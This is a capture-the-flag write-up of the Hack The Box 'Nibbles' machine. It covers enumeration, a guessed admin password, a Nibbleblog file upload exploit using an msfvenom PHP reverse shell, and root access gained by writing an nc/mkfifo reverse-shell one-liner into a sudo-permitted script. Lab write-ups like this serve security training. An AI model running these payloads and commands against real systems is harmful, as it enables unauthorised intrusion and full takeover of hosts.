This Linux machine was running a vulnerable blog running the engine Nibbleblog which was vulnerable to arbitrary file upload. To get root shell I used command injection i a script the user was able to run as sudo.
Table Of Contents
I’ll start with an NMAP scan.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/nibbles] └─# cat nmap.ver 1 ⨯ # Nmap 7.92 scan initiated Mon Jan 31 14:51:02 2022 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap.ver 10.10.10.75 Nmap scan report for 10.10.10.75 Host is up (0.032s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two ports open, 22 and 80.
Visiting port 80 we are presented with a page that only says “Hello wordl!”.
Looking at the source code we can see that it mentions a directory /nibbleblog.
Visiting the subdri we are presented with this.
At the bottom right we can see that it is powered by Nibbleblog.
I’ll do a gobuster scan to see if there is anything interesting to find.
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/nibbles] └─# gobuster dir -u http://10.10.10.75/nibbleblog -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.75/nibbleblog [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/31 15:05:31 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 306] /.hta (Status: 403) [Size: 301] /.htpasswd (Status: 403) [Size: 306] /admin (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/] /admin.php (Status: 200) [Size: 1401] /content (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/] /index.php (Status: 200) [Size: 2987] /languages (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/] /plugins (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/] /README (Status: 200) [Size: 4628] /themes (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/]
Visiting the README subdir we can find the running version of nibbleblog, which is v4.0.3.
Initial Access – Shell as Nibbler
Username && password
Looking in the directory /content/private I found a user.xml which contained a username admin.
With some lucky guessing I was able to guess that the password is nibbles.
Shell method 1
I’ll show two methods to get a shell. One using a script to get a shell and one doing it manually with uploading a php reverse shell.
I’ll use dix0nym’s script.
┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967] └─# msfvenom -p php/reverse_php LHOST=10.10.14.17 LPORT=4444 -f raw > shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 3009 bytes ┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967] └─# ls exploit.py README.md shell.php ┌──(root💀kali)-[/home/…/Desktop/HTB/nibbles/CVE-2015-6967] └─# python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php [+] Login Successful. [+] Upload likely successfull.
And we get a connection back to our listener.
┌──(root💀kali)-[/home/aghanim] └─# nc -lvnp 4444 1 ⨯ listening on [any] 4444 ... connect to [10.10.14.17] from (UNKNOWN) [10.10.10.75] 53860 id uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) whoami nibbler
In the first method we created a php reverse shell which we will upload to the website.
The shell will be uploaded to /content/private/plugins/my_image/. The name shell.php is named to image.php. But that dosent mean anything as the file will still execute.
The user nibbler can run the following commands as sudo.
sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
In nibbler home dir there is a zip file. Unzipping there is a file called monitor.sh
unzip personal.zip Archive: personal.zip creating: personal/ creating: personal/stuff/ inflating: personal/stuff/monitor.sh
Opening monitor.sh there is just a script for monitoring Tecmint.
Inject malicious command
I can read and write to the file, so I’ll just inject a reverse shell and execute as sudo to get a root shell.
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.17 5555 > /tmp/f' > monitor.sh cat monitor.sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.17 5555 > /tmp/f sudo ./monitor.sh
And I get a connection to my listener and I’m root.
┌──(root💀kali)-[/home/aghanim] └─# nc -lvnp 5555 listening on [any] 5555 ... connect to [10.10.14.17] from (UNKNOWN) [10.10.10.75] 38336 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # ls monitor.sh # cd /root # ls root.txt
What I’ve learned
- Enumeration is one of the most important phases of a pentest. Doing a thorough enumeration will help with the initial access phase.
- In this case there was a nibbleblog in a “hidden” subdirectory. I found a username in a user.xml file and guessed the password.
- The website was running a vulnerable version of nibbleblog and we were able to upload a webshell and get a reverse shell.
- Giving the user ability to run a script as root which we had full permissions to edit, we were able to inject a command that gave us reverse shell as root.